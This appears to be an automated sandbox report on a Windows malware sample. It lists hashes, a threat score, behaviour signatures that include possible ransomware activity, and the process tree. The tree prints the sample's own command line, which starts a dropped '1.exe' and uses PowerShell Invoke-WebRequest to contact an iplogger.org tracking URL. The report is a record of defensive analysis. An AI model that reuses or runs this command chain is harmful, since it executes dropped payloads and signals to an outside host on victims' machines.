Analysis
- max time kernel
36s - max time network
67s - platform
windows10-2004_x64 - resource
win10v2004-en-20220113 - submitted
03/02/2022, 14:07
General
- Target cee5d496438fb83a21666378bfef078f.exe
- Size 752KB
- Sample220203-rezjeaacaq
- SHA256 650bf19e73ac2d9ebbf62f15eeb603c2b4a6a65432c70b87edc429165d6706f3
Score
8/10
Malware Config
Signatures
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious use of WriteProcessMemory 9 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\cee5d496438fb83a21666378bfef078f.exe"C:\Users\Admin\AppData\Local\Temp\cee5d496438fb83a21666378bfef078f.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c start "" "1.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1qfDf7"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\1.exe"1.exe"3⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "Invoke-WebRequest -Uri https://iplogger.org/1qfDf7"3⤵
-
-